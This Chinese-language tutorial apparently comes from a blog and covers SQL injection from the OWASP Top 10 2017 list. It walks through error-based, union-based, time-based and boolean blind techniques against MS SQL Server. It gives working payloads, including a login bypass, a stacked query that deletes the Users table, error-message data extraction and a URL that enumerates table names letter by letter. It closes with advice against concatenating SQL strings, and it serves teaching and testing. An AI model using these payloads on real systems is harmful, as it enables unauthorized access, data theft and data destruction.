OWASP Top 10 2017 - SQL Injection

前言

在　OWASP Top 10 - 2017 之中，Injection 還是在排在第一位，可見 Injection 所帶來的影響很大。
本文將跟大家介紹 Explicit / Blind SQL Injection 以及一些 SQL 常見的手法。
首先，先來了解一下 SQL Injection
當 URL 為 http://www.mysite.com/product?id=1 時，
會對應到 SQL 為 SELECT * FROM Product WHERE Id = 1,
當中不信任的資料為 id 的參數值 1。
所以當我們把 URL 改成 http://www.mysite.com/product?id=1 or 1=1
程式如果沒驗證的話，SQL 就會變成 SELECT * FROM Product WHERE Id = 1 or 1=1,

SQL 常見手法

產生錯誤

要讓 SQL 發生錯誤，最簡單的就是將字串轉成 int ，自然就會發生錯誤，例如，

Select Convert(int, 'a');

依序取得 一筆資料

要取得一筆資料可以使用 Top 1 ，而要依序則需要使用 Order ，如下，

Select Top 1 UserID, Email
From Users
Order By Email;

那如果要取得第2筆資料呢? 改成 Top 2 嗎?

Select Top 2 UserID, Email
From Users
Order By Email;

但是 第一筆還是 admin@gss.com.tw 而不是 cindy@gss.com.tw ，
那要如何第一筆才會變成 cindy@gss.com.tw 呢?
…
就是再把資料反過來排一次。
把上面的 SQL 當成是 Sub-Query 再 Order By Desc 取 Top 1 就可以。

Select Top1 UserID, Email
From (
Select Top 2 UserID, Email
From Users
Order By Email
) T1
Order By Email Desc;

SQL Injection 測試

有了上面的 SQL 小技巧，就可以加入 SQL Injection 的測試之中，
而SQL Injection attack 包含 2 種類型

1.Explicit

　　1.1.Error-base: 透過錯誤訊息來顯示資料，例如 輸入 ‘ 後，系統直接顯示 SQL 的原生錯誤訊息
　　1.2.Union-base: 增加額外的資料輸出，例如 登入功能輸入 ‘ or ‘9’ = ‘9 就可以登入，或是有些查詢功能中，使用 union 加入其他的資料讓它顯示出來

1.1.Error-base

在測試有沒有 SQL Injection ，通常會輸入一個單引號，來看看它會不會出現錯誤，如下，

1.2.Union-base

從上面所發生出來的錯誤訊息可以得知，它的登入 SQL 為 SELECT * FROM Users Where Email = ‘{email}’ and Password = ‘{password}’ Order By Email Desc
會有 SQL Injection 的問題，所以我們可以調整的 SQL 如下，

SELECT * FROM Users Where Email = '{email}' 
and Password = '這裡是我們可以Hack的地方' 
Order By Email Desc

所以要如何讓不知密碼也可以通過 Query 呢?

SELECT * FROM Users Where Email = '{email}' 
and Password = '' or ''='' 
Order By Email Desc

所以 Password 欄位可以使用 ‘ or ‘’=’ 或是 ‘ or ‘1’=’1 等.

當然，也可以串一些 insert , update & delete 的 SQL ，例如，

SELECT * FROM Users Where Email = '{email}' 
and Password = ''; Delete From Users --' 
Order By Email Desc

1.1.Error-base (Advance)

因為程式會將原生的錯誤訊息顯示出來，所以可以利用這種方式來取出我們想要的資料，
例如要取得 Email ，則可以依上面的 SQL ，再將它轉成 int 就可以順著錯誤訊息來讓我們知道了，如下，

SELECT * FROM Users 
Where Email = 'rm@gss.com.tw' 
and Password = '' + 
CONVERT(INT, '[' + (SELECT Top 1 A2.Email
From (
	SELECT Top 2 A1.Email
	FROM Users A1
	Order By A1.Email ) A2
Order By A2.Email Desc) + ']')
--'

2.Implicit(Blind)

　　2.1.Time-base: 依輸入資料而花費等待時間才輸出結果, 例如 輸入 WaitFor Delay ‘00:00:10’ 則會多花費 10 秒
　　2.2.Boolean-base: 依輸入的資料給出不同的輸出結果，例如 輸入 A 會發生錯誤，輸入 B 則正常

前面的範例是很明確讓我們知道它有 SQL Injection 的問題，有些狀況下，雖然它有 SQL Injection 的問題，但它只會跳到錯誤處理畫面去，會讓我們不知是不是 SQL Injection 的問題，這種就叫作 Blind SQL Injection 。
例如系統的 URL 為 Product/Detail?ProductID=13&orderBy=UserID ，
會正常的顯示資料，但如果將 UserID 改成 UserIX ，則會發生錯誤。

所以可以假設它的 SQL 為

SELECT * FROM Votes 
Where ProductID = 13
Order By UserID

當 UserID 改成 UserIX 就會發生錯誤。因為 SQL 就會變成如下，

SELECT * FROM Votes 
Where ProductID = 13
Order By UserIX

因為排序欄位錯誤，只是我們無法看到明確的錯誤訊息，所以只能用猜的。
為了更清楚是否有 SQL Injection 的問題，可以再把 URL 改成 Product/Detail?ProductID=13&orderBy=UserID,2 ，
這時程式可以正常運作，但如果將它改成 roduct/Detail?ProductID=13&orderBy=UserID,a ，則會發生錯誤。
這表示 SQL 分別為，

SELECT * FROM Votes 
Where ProductID = 13
Order By UserID,2

SELECT * FROM Votes 
Where ProductID = 13
Order By UserID,a

2.1.Blind SQL Injection - Time-base

要測試它是否有 SQL Injection 的問題，就可以在 URL 後再加入 WaitFor Delay ，如下，
Product/Detail?ProductID=13&orderBy=UserID;WaitFor Delay ‘00:00:05’;–
系統的執行時間也跟著增加 5 秒，那它就有 SQL Injection 的問題。

知道它有 SQL Injection 的問題，所以後面就可以再組一些 SQL 去讓它執行。

2.2.Blind SQL Injection - Boolean-base

即然知道它是 Blind SQL Injection ，所以可以透過程式會不會出錯來達到用猜的方式來猜出資料，
例如假設我們要查詢資料庫中的資料表名稱，則可以透過 Case When (要猜的SQL) Then 1 Else (出錯的SQL) End 的方式來達到。

SELECT * FROM Votes 
Where ProductID = 13
Order By UserID
,
case when (SELECT Top 1 substring(A2.name, 1, 1)
From (
	SELECT Top 1 A1.name
	FROM sys.tables A1
	Order By A1.name ) A2
Order By A2.name Desc) = 'p'
	then 1 
	else convert(int, 'x') end;

而URL則為Product/Detail?ProductID=13&orderBy=UserID, case when (SELECT Top 1 substring(A2.name, 1, 1) From ( SELECT Top 1 A1.name FROM sys.tables A1 Order By A1.name ) A2 Order By A2.name Desc) = ‘p’ then 1 else convert(int, ‘x’) end;
如果第一個資料表名字的第一個字母為 p 就不會錯誤，不對的話，就會發生錯誤。
它的比對邏輯蠻簡單的，所以通常可以透過程式來測試，如果猜對了，程式就不會出錯，猜錯了，程式就會發生錯誤，最後就可以將所需要的資料全都猜出來。

結論

以上透過簡單的範例說明，介紹了如何透過 Error 來顯示錯誤的資訊，及 Blind SQL Injection 透過用猜的方式來取得我們要的資訊。
如果再加以組合之後，更可以猜出資料庫的 Database Name, Table Name, Column Name ，然後透過 Error 的方式來將 Table 的資料顯示出來。
系統的需求很多種，所以在存取資料庫時，請注意 SQL Script 請勿使用串接字串及串接參數值的方式。

參考資料

A1:2017-Injection